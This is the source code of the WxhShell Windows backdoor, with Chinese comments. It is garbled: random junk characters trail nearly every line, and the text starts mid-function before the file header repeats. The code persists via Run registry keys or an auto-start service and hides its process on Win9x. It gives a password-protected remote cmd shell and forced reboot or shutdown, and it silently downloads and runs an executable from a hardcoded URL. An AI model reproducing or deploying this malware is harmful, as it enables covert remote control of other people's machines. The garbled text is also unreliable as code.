    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A^Zs?<C-  
    if(Boot(SHUTDOWN)) &p%ctg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K@,VR3y /  
    else { WE"'3u^k  
    closesocket(wsh); ie ,{C  
    ExitThread(0); x('yBf  
    } l^"G\ZVI  
    break; 8(I"C$D!k  
    } z?aD Oh  
  // 获取shell @gj5'  
  case 's': { NAU<?q<)  
    CmdShell(wsh); gi6_la+  
    closesocket(wsh); K%k,-  
    ExitThread(0); 4<Y?#bm'  
    break; gf=*m"5  
  } Pn#Lymxh_a  
  // 退出 pZjFpd|  
  case 'x': { p[eRK .$!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "<(~  
    CloseIt(wsh); vuP1gem  
    break; '8JaD6W9S  
    } 'YeJGzsJp  
  // 离开 OG+$F  
  case 'q': { b2Hpuej  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d]^i1  
    closesocket(wsh); DIRCP=5  
    WSACleanup(); 4jW{IGW  
    exit(1); *Tlv'E.M  
    break; 72 6y/o  
        } 8xX{y#  
  } 2P=;r:cx  
  } a=O!\J  
Kv7NCpq'  
  // 提示信息 O?!"15  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %'HUC>ChN  
} >']H)c'2  
  } 9<ayQ*  
0{yx*}.  
  return; ^PI49iB  
} 9s)oC$\  
`jHGNi  
// shell模块句柄 fjFy$NX&>  
int CmdShell(SOCKET sock) =jN]ckn  
{ 'zb7:[[7%  
STARTUPINFO si; [ n2udV  
ZeroMemory(&si,sizeof(si)); +=_Pl7?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7`}z7nk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P33E\O  
PROCESS_INFORMATION ProcessInfo; kYAvzuGRb  
char cmdline[]="cmd"; nGVqVSxKT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9PAp*`J@kr  
  return 0; p1nA7;B-m  
} 2&m7pcls  
1#(1Bs6X  
// 自身启动模式 nM`)`!/  
int StartFromService(void) -ZB"Yg$l  
{ -,dQ&Qf?  
typedef struct D |o@(V  
{ %8Z,t+'  
  DWORD ExitStatus; dc)Gk  
  DWORD PebBaseAddress; X3[!xMij  
  DWORD AffinityMask; :dzU]pk%0  
  DWORD BasePriority; +0 MKh  
  ULONG UniqueProcessId; Sx2j~(pOr  
  ULONG InheritedFromUniqueProcessId; IoA;q)  
}   PROCESS_BASIC_INFORMATION; y6/X!+3+  
CkU=0mcY  
PROCNTQSIP NtQueryInformationProcess; : [y(<TLw  
m"R(_E5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g8Z14'Ke  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Eg*3**gTO  
Z-@}~#E  
  HANDLE             hProcess; 4B`Rz1QBy  
  PROCESS_BASIC_INFORMATION pbi; MQ44uHJ  
5qy}~dQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3o>t ~Sfi  
  if(NULL == hInst ) return 0; ^|C|=q~:  
F0Hbklr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &[kgrRF@HU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,k!a3"4+TJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fR%8?6  
7o. 'F  
  if (!NtQueryInformationProcess) return 0; 3U)8P6Fz  
"tM/`:Qp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Be+:-t)  
  if(!hProcess) return 0; \0h/~3  
kP$g l|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 37xxVbik  
p0K;m%  
  CloseHandle(hProcess); p/h&_^EXU  
~-d.3A $u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iC-ABOOu{l  
if(hProcess==NULL) return 0; 4:$>,D\  
=]e^8;e9  
HMODULE hMod; +pvJ?"J  
char procName[255]; M>@R=f  
unsigned long cbNeeded; W1 Qc1T8  
>nQ yF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {M/c!  
/ JB4#i7  
  CloseHandle(hProcess); )*h~dx_cm  
9#ft;c  
if(strstr(procName,"services")) return 1; // 以服务启动 $x;h[,y   
)\vHIXnfJ1  
  return 0; // 注册表启动 {R;M`EU>  
} yU,xcq~l  
p'~5[JR:  
// 主模块 31& .Lnq  
int StartWxhshell(LPSTR lpCmdLine) u9w&q^0dqG  
{ Kdu\`c-lB  
  SOCKET wsl; 8F`  
BOOL val=TRUE; *K'ej4"u  
  int port=0; P*`xiTA  
  struct sockaddr_in door; -G#k/Rz6  
sG2 3[t8  
  if(wscfg.ws_autoins) Install(); E]U0CwFtr  
`Xdxg\|  
port=atoi(lpCmdLine); KVxb"|[  
/T)n5X  
if(port<=0) port=wscfg.ws_port; acQN pT  
; ,jLtl  
  WSADATA data; Z4ioXl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k&iDJt  
MdZgS#`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dM{~Ubb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DA`sm  
  door.sin_family = AF_INET; #G` ,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aLt{X)?  
  door.sin_port = htons(port); }Xj_Y]T  
d~-p;i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ROS"VV<  
closesocket(wsl); g ypq`F  
return 1; 7CM03R[P  
} h6y4Ii  
f\|?_k]  
  if(listen(wsl,2) == INVALID_SOCKET) { {@__%=`CCS  
closesocket(wsl); K#hYbDm  
return 1; qO{ ZZ*  
} 2, V+?'^j  
  Wxhshell(wsl); PMhhPw]  
  WSACleanup(); 1Dp @n  
_G #"B{7  
return 0; ;+34g6  
^z}lGu  
} ~49N  
/I'u/{KB  
// 以NT服务方式启动 9+ l3 $  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e~.?:7t  
{ k_>Fw>Y  
DWORD   status = 0; <3=qLm  
  DWORD   specificError = 0xfffffff; cO+Xzd;838  
V< ApHb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fGf-fh;s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ikN!ut  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8<g#$(a_E  
  serviceStatus.dwWin32ExitCode     = 0; exO#>th1  
  serviceStatus.dwServiceSpecificExitCode = 0; [ []SkLZHg  
  serviceStatus.dwCheckPoint       = 0;  G].__]  
  serviceStatus.dwWaitHint       = 0; 4:&qT Y)H  
in #]3QGV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m+2`"1IE[  
  if (hServiceStatusHandle==0) return; 4bev* [k  
$KWYe{#  
status = GetLastError(); kgapTv>q  
  if (status!=NO_ERROR) z<%g #bo  
{ w&yGYHg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ocwp]Mut&  
    serviceStatus.dwCheckPoint       = 0; rp @  
    serviceStatus.dwWaitHint       = 0; RF~Ofi  
    serviceStatus.dwWin32ExitCode     = status; ^qGA!_  
    serviceStatus.dwServiceSpecificExitCode = specificError; X";Z Up  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E<Dh_K  
    return; 6QLQ1k`  
  } BCUt`;q ]B  
BBR" HMa4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &49$hF g6"  
  serviceStatus.dwCheckPoint       = 0; Mp"'?zf  
  serviceStatus.dwWaitHint       = 0; Th^(f@.w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R G0S  
} Afy .3T @)  
g(1B W#$  
// 处理NT服务事件,比如:启动、停止 -}X?2Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @>fO;*  
{ sCtw30BL  
switch(fdwControl) 7e c0Xh1  
{ p/k<wCm6  
case SERVICE_CONTROL_STOP: poQdI?ed,  
  serviceStatus.dwWin32ExitCode = 0; F|?+>c1}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9#&W!f*qO|  
  serviceStatus.dwCheckPoint   = 0; l^ 0_> R  
  serviceStatus.dwWaitHint     = 0; hzQ+9-qA  
  { /}$T38  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Wg-@d  
  } hB7pR"P  
  return; ^0~c 7`k`V  
case SERVICE_CONTROL_PAUSE: !/6\m!e|1R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TD{=L*{+  
  break; 2:iYYRrg  
case SERVICE_CONTROL_CONTINUE: |ck ZyDA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; & &" 'dL  
  break; lH)em.#  
case SERVICE_CONTROL_INTERROGATE: #~4{`]W6  
  break; vXWsF\g  
}; slge+xq\J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %l:|2s:  
} M U?{?5  
xaWGa1V'z  
// 标准应用程序主函数 h41$|lonU%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z>x7|Q3CX  
{ m0|Ae@g~3  
Zj1ZU[BEcL  
// 获取操作系统版本 J3~hzgY  
OsIsNt=GetOsVer(); ,2,SG/BB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XLZ j  
B:?#l=FL  
  // 从命令行安装 df4sOqU  
  if(strpbrk(lpCmdLine,"iI")) Install(); U=F-] lD  
4|6&59?pnc  
  // 下载执行文件 tE]5@b,R  
if(wscfg.ws_downexe) { uNe}"hs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qDRNtFa  
  WinExec(wscfg.ws_filenam,SW_HIDE); \D,M2vC~G  
} QB/7/PW{H\  
]yAEjn9cN  
if(!OsIsNt) { ~v2V`lxh  
// 如果时win9x,隐藏进程并且设置为注册表启动 r(: 8!=~K  
HideProc(); w%3Fg~Up  
StartWxhshell(lpCmdLine); ?7yQ&p  
} jby~AJf %  
else /M^V 2=  
  if(StartFromService()) 'Aj(i/CM  
  // 以服务方式启动 s(AJkO'`  
  StartServiceCtrlDispatcher(DispatchTable); |66m` <  
else fJLf7+q  
  // 普通方式启动 #\pP2  
  StartWxhshell(lpCmdLine); b JfD\  
# 0GGc.  
return 0; <i}q=%W!1  
} (PS$e~H s  
vpm ]9>1[  
*o02!EYge  
H]_WFiW-9  
=========================================== T?X^0UdJj  
cQT1Xi  
>`7OcjLg  
pi`;I*f/  
;Z ]<S_#-  
Fn:.Y8%-  
"  VQ`,#`wV  
&/](HLdF  
#include <stdio.h> iV?` i  
#include <string.h> J`w]}GlH  
#include <windows.h> T3PX gL)o  
#include <winsock2.h> ^|wT_k\  
#include <winsvc.h> 2GSgG.%SSM  
#include <urlmon.h> k)`$%[K8  
!0Idp%  
#pragma comment (lib, "Ws2_32.lib") HEBqv+bG  
#pragma comment (lib, "urlmon.lib") Z)mX,=p  
v9%nau4  
#define MAX_USER   100 // 最大客户端连接数 yp=|7  
#define BUF_SOCK   200 // sock buffer pC*BA<?Rg  
#define KEY_BUFF   255 // 输入 buffer I"ca+4]  
=op`fn%  
#define REBOOT     0   // 重启 tC&fA E:S  
#define SHUTDOWN   1   // 关机 U;\S(s}  
j]pohxn$5  
#define DEF_PORT   5000 // 监听端口 3az$:[Und}  
LGIalf*7  
#define REG_LEN     16   // 注册表键长度  ispkj'  
#define SVC_LEN     80   // NT服务名长度 Z'Kd^`mt 9  
7}Bj|]b)~  
// 从dll定义API }>V/H]B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3brb*gI_b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  bH*@,EE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 42fprt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q[M (Wqg  
(lb6]MtTHY  
// wxhshell配置信息 R6`*4z S  
struct WSCFG { 0$tjNy e  
  int ws_port;         // 监听端口 qAqoZMpI|;  
  char ws_passstr[REG_LEN]; // 口令 R'zu"I  
  int ws_autoins;       // 安装标记, 1=yes 0=no \e<mSR  
  char ws_regname[REG_LEN]; // 注册表键名 /D0RC  
  char ws_svcname[REG_LEN]; // 服务名 8;TAb.r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t)9]<pN%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [s~JceUyX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )ZGYhE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zI:(33)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eUt=n)*`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 );nz4/V  
 kI%peb?  
}; aD2*.ln><  
tM)Iir*U#  
// default Wxhshell configuration t9.,/o,  
struct WSCFG wscfg={DEF_PORT, j'+ELKQ  
    "xuhuanlingzhe", A t{U~^  
    1, :q^R `8;(t  
    "Wxhshell", ;{k=C2  
    "Wxhshell", BRb\V42i;  
            "WxhShell Service", 20aZI2sk`  
    "Wrsky Windows CmdShell Service", {LP b))  
    "Please Input Your Password: ",  EZ<80G  
  1, 5G#$c'A{4  
  "http://www.wrsky.com/wxhshell.exe", 6 mCq/$  
  "Wxhshell.exe" / |GT\X4o  
    }; KbAR_T1n  
&y7 0  
// 消息定义模块 L\YKdUL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1?(cmXj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *(G&B\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ahA{B1M)n  
char *msg_ws_ext="\n\rExit."; IZ*}idlkn/  
char *msg_ws_end="\n\rQuit."; Z`Ax pTl  
char *msg_ws_boot="\n\rReboot..."; ' WQdr(  
char *msg_ws_poff="\n\rShutdown..."; <FUon  
char *msg_ws_down="\n\rSave to "; D*\v0=P'?  
 R:~(Z?  
char *msg_ws_err="\n\rErr!"; thuRNYv <  
char *msg_ws_ok="\n\rOK!"; n#BvW,6J  
IU|kNBo  
char ExeFile[MAX_PATH]; 2Z)4(,  
int nUser = 0; ,h^r:g  
HANDLE handles[MAX_USER]; %:3'4;jh%  
int OsIsNt; ?6f7ld5  
9@n diu[  
SERVICE_STATUS       serviceStatus; d ",(a Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d ;^  
Sh&iQ_vq  
// 函数声明 :&qhJtGo  
int Install(void); yl$F~e1W  
int Uninstall(void); GAw(mH*  
int DownloadFile(char *sURL, SOCKET wsh); U&P{?>{u  
int Boot(int flag); O$qtq(Q%  
void HideProc(void); /kB|1gFj  
int GetOsVer(void);  DtWxr  
int Wxhshell(SOCKET wsl); r?p[3JJ;mG  
void TalkWithClient(void *cs); i@5 )` <?  
int CmdShell(SOCKET sock); 537?9  
int StartFromService(void); r<c #nD~K  
int StartWxhshell(LPSTR lpCmdLine); :"<e0wDu[  
@'i+ff\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;F5"}x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R)oB!$k  
%<} <'V0  
// 数据结构和表定义 IkDiT63]I  
SERVICE_TABLE_ENTRY DispatchTable[] = ;~+]! U  
{ lpy:3`ti  
{wscfg.ws_svcname, NTServiceMain}, bb;(gK;F  
{NULL, NULL} bO3GVc+S  
}; dU]/$7  
H(|AH;?ou  
// 自我安装 F_=1;,K%  
int Install(void) I{ ryD -!  
{ 6Ps.E  
  char svExeFile[MAX_PATH]; ?59'dGnz_  
  HKEY key; Zw{MgoJ0Z  
  strcpy(svExeFile,ExeFile); V}" g~=  
;+U<bqL6  
// 如果是win9x系统,修改注册表设为自启动 0{+.H_f`  
if(!OsIsNt) { +q{[\#t5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vr=OYI'A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); khx.yRx  
  RegCloseKey(key); c.%.\al8oW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XF*.Jg]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M;jcUX_{  
  RegCloseKey(key); m%QSapV  
  return 0; B=n[)"5fBO  
    } SV.z>p  
  } s5D:  
} UKtSm%\  
else { j1*f]va  
BT,b-= ;J-  
// 如果是NT以上系统,安装为系统服务 \X|sU:g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yNCEz/4  
if (schSCManager!=0) Eectxyr?;N  
{ vXv;1T  
  SC_HANDLE schService = CreateService [AS}RV  
  ( dJ ~Zr)>  
  schSCManager, lCIDBBjy^  
  wscfg.ws_svcname, R)5n 8  
  wscfg.ws_svcdisp, !GwL,)0@^  
  SERVICE_ALL_ACCESS, -Z0+oU(?YE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T2FE+A]n9  
  SERVICE_AUTO_START, 6C [E  
  SERVICE_ERROR_NORMAL, sOBu7!G%  
  svExeFile, f>polxB%N  
  NULL, K j3?ve~  
  NULL, t"vRc4mf  
  NULL, hyg8wI  
  NULL, DM{ 4@*]  
  NULL ,"\@fwy{  
  ); {"S6\%=  
  if (schService!=0) H8{ol6wc)6  
  { ]:ZdV9`  
  CloseServiceHandle(schService); upy\gkpnGO  
  CloseServiceHandle(schSCManager); //f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t2>fmQIQ  
  strcat(svExeFile,wscfg.ws_svcname); 7Nzbz3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { % 0T+t.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LP];x3  
  RegCloseKey(key); "V& I^YSc>  
  return 0; |[$~\MU  
    } x/ *-P b-_  
  } +4))/` DA  
  CloseServiceHandle(schSCManager); o0bM=njok  
} BU|#e5  
} HKDID[d0  
!RW `3  
return 1; @? c2)0  
} *L4`$@l8  
Lel|,mc`k2  
// 自我卸载 NZ0O,} m  
int Uninstall(void) #V,R >0"  
{ K/=|8+IDL  
  HKEY key; "Gb1K9A im  
n'1'!J; Q  
if(!OsIsNt) { PcT?<HU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _hu")os  
  RegDeleteValue(key,wscfg.ws_regname); TZR)C P5  
  RegCloseKey(key); %McE` 155  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eWJ`$"z  
  RegDeleteValue(key,wscfg.ws_regname); *{ {b~$  
  RegCloseKey(key); b^0}}12  
  return 0; J aTp} #  
  } 457\&  
} ` Ag{)  
} **3 z;58i  
else { 9iUrnG*  
q 11IkDa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )3Z ^h<"j  
if (schSCManager!=0) Ej ".axjT  
{ W2FD+ wt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _tTNG2  
  if (schService!=0) gKYfQ+  
  { $5D,sEC@  
  if(DeleteService(schService)!=0) { -i yyn ^|  
  CloseServiceHandle(schService); ngohtB^]  
  CloseServiceHandle(schSCManager); 2;a(8^n  
  return 0; jRSUp E8  
  } }|u4 W?H  
  CloseServiceHandle(schService); ,EGQ@:3/  
  } KGH/^!u+R  
  CloseServiceHandle(schSCManager); y){ k3lm0  
} 1 i[\T  
} {8)zg<rL+M  
npJt3 Y_I  
return 1; 0Z[oKXm1p  
} InXn%9]p]  
#txE=e"&o  
// 从指定url下载文件 /+Lfrt  
int DownloadFile(char *sURL, SOCKET wsh) AV9m_hZ t  
{ |KSy`lY-j>  
  HRESULT hr; 1cS}J:0P  
char seps[]= "/"; 8>,jpAN}r  
char *token; (q+)'H%iK  
char *file; <Ln1pV~k  
char myURL[MAX_PATH]; S}p4iE"n  
char myFILE[MAX_PATH]; s<qe,' Y  
+gtrt^:]l  
strcpy(myURL,sURL); V=:'SL*3|  
  token=strtok(myURL,seps); \7Jg7*  
  while(token!=NULL) V-<GT ?  
  { o(DOQGl  
    file=token; h 3]wL.V  
  token=strtok(NULL,seps); I)A`)5="5  
  } n2)q}_d  
3s/H2f z  
GetCurrentDirectory(MAX_PATH,myFILE); F a'k0/_j  
strcat(myFILE, "\\"); T!Hb{Cg*  
strcat(myFILE, file); Og,$ sH}`  
  send(wsh,myFILE,strlen(myFILE),0); 3|.um_  
send(wsh,"...",3,0); \jOA+FU [  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bFe+m1Q_  
  if(hr==S_OK) _?OW0x4  
return 0; DxUKUE  
else |<:vY  
return 1; |B?27PD  
Re P|UH  
} )+:EJH~  
N[<\>Ps|u  
// 系统电源模块 #Q2Y&2`yGT  
int Boot(int flag) Y.g59X!Ub2  
{ J ]nohICe  
  HANDLE hToken; U2bjFLd"  
  TOKEN_PRIVILEGES tkp; cWoPB _  
\v'p/G)g  
  if(OsIsNt) { !%"8|)CAr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N5a*7EJv+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?OkWe<:4  
    tkp.PrivilegeCount = 1; sBr_a5QQ#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vI>>\ .ED  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .zi_[  
if(flag==REBOOT) {  o4|M0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !o:f$6EA~C  
  return 0; D#3\y*-y?  
} rg^'S1x|  
else {  -i0~]*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :A/d to  
  return 0; 5H*\t 7  
} TWA-.>c  
  } Z'"tB/=W  
  else { :]\([Q+a  
if(flag==REBOOT) { eEuvl`&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <StN%2WQ1  
  return 0; .&DhN#EN0  
} +j< p \Kn>  
else { ,6-:VIHQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wk)OkIFR  
  return 0; u6AA4(  
} `$ 6rz  
} ~_/(t'9  
"*In+!K  
return 1; 7pe\M/kl  
} uScMn/%  
R%?9z 8-  
// win9x进程隐藏模块 gt@m?w(  
void HideProc(void) kqFP)!37  
{ '<"s \,  
@7IIM{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ` @`CG[-9  
  if ( hKernel != NULL ) 3kybLOG  
  { )h7<?@wv&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e)d`pQ6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <g$~1fa  
    FreeLibrary(hKernel); U|jSa,}  
  } 4 o Fel.o  
h&KO<>  
return; j0oR) du  
} _h{C_;a[_  
sB7# ~p A  
// 获取操作系统版本 Zy`m!]G]80  
int GetOsVer(void) h2G$@8t}I  
{ Q+[n91ey**  
  OSVERSIONINFO winfo; :tV*7S=)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x(1:s|Uyp{  
  GetVersionEx(&winfo); Fld=5B^}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6 (]Dh;gC  
  return 1; )Y"+,$$>Y`  
  else EV]1ml k$  
  return 0; hgPa6Kd  
} ;ub;l h3  
V<GHpFi0  
// 客户端句柄模块 X $jWo@  
int Wxhshell(SOCKET wsl) ZOh`(})hy  
{ QIG$z?  
  SOCKET wsh; EJMM9(DQ7  
  struct sockaddr_in client; 0XE4<U   
  DWORD myID; eA2@Nkw~)  
%)1y AdG 8  
  while(nUser<MAX_USER) CsGx@\jN  
{ >;e~WF>+K  
  int nSize=sizeof(client); Kp%2k^U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G<65H+)M\  
  if(wsh==INVALID_SOCKET) return 1; >qnko9V  
wW>A_{Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d; boIP`M;  
if(handles[nUser]==0) s6 uG`F"  
  closesocket(wsh); ztcp/1jIvS  
else jeoz* Dz  
  nUser++; (C\]-E>  
  } f6hnTbJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +$ 'Zf0U  
&u$Q4  
  return 0; 'DP1,7  
} 75T%g!c#  
(7wc*#}  
// 关闭 socket 5_GYrR2  
void CloseIt(SOCKET wsh) M\uiq38  
{ 3l rT3a3vV  
closesocket(wsh); 11 Q1AN  
nUser--; 0CnOL!3.I  
ExitThread(0); 8\&X2[oAD  
} XO.jl"xu  
slCx w$  
// 客户端请求句柄 *#,7d"6W5  
void TalkWithClient(void *cs) n(1l}TJy  
{  -*1d!  
R0KPZv-  
  SOCKET wsh=(SOCKET)cs; ?gA 8x  
  char pwd[SVC_LEN]; )|ju~qbf  
  char cmd[KEY_BUFF]; Yl Zso2  
char chr[1]; ` Fa~  
int i,j; kMIcK4.MH  
,0 M_ Bk"  
  while (nUser < MAX_USER) { V(H1q`ao9  
)}Hpi<5N  
if(wscfg.ws_passstr) { B-*+r`@Bd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vh|*p&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5TH~.^`Fi  
  //ZeroMemory(pwd,KEY_BUFF); ejSji-Qd  
      i=0; ZF!h<h&,  
  while(i<SVC_LEN) { (nQ^  
p $S*dr  
  // 设置超时 94'&b=5+  
  fd_set FdRead; y6(Z`lx  
  struct timeval TimeOut; u|\1h LXX  
  FD_ZERO(&FdRead); 3#LlDC_WC  
  FD_SET(wsh,&FdRead); %z=le7  
  TimeOut.tv_sec=8; /CrSu  
  TimeOut.tv_usec=0; uy>q7C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p*XANGA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }7b%HTF=  
=x/X:;)>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D}-/c"':}  
  pwd=chr[0]; Ogqj?]2QC  
  if(chr[0]==0xd || chr[0]==0xa) { j`{?OYD  
  pwd=0; 8SMxw~9$  
  break; {5Q!Y&N.%  
  } E^ B'4  
  i++; L^1NY3=$  
    } ( >LF(ll  
?tWaI{95I  
  // 如果是非法用户,关闭 socket Yj&F;_~   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XY5K%dMU  
} 'p^t^=dQ  
\[;0 KV_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )*$lp'~7N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O %\*@4zM  
fBU`k_  
while(1) { 6_(&6]}66  
d-oMQGOklb  
  ZeroMemory(cmd,KEY_BUFF); { a =#B)6  
W_JlOc!y  
      // 自动支持客户端 telnet标准   ld[I}88$  
  j=0; 3/P1!:g9  
  while(j<KEY_BUFF) { a1T'x~ '  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sU=H&D99  
  cmd[j]=chr[0]; D(~U6SR  
  if(chr[0]==0xa || chr[0]==0xd) { D, k6$`  
  cmd[j]=0; f[]dfLS"W  
  break; GV1pn) 4  
  } esJ~;~[@(r  
  j++; v&6-a*<Z  
    } 8'[~2/  
(^ J I%>  
  // 下载文件 b!+hH Hv:  
  if(strstr(cmd,"http://")) { ncaT?~u j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); atj(eg  
  if(DownloadFile(cmd,wsh)) ?al'F  q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4VHn  \  
  else ><4<yj1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Mx$A$Oj>  
  } v_yw@  
  else { pJ>P[  
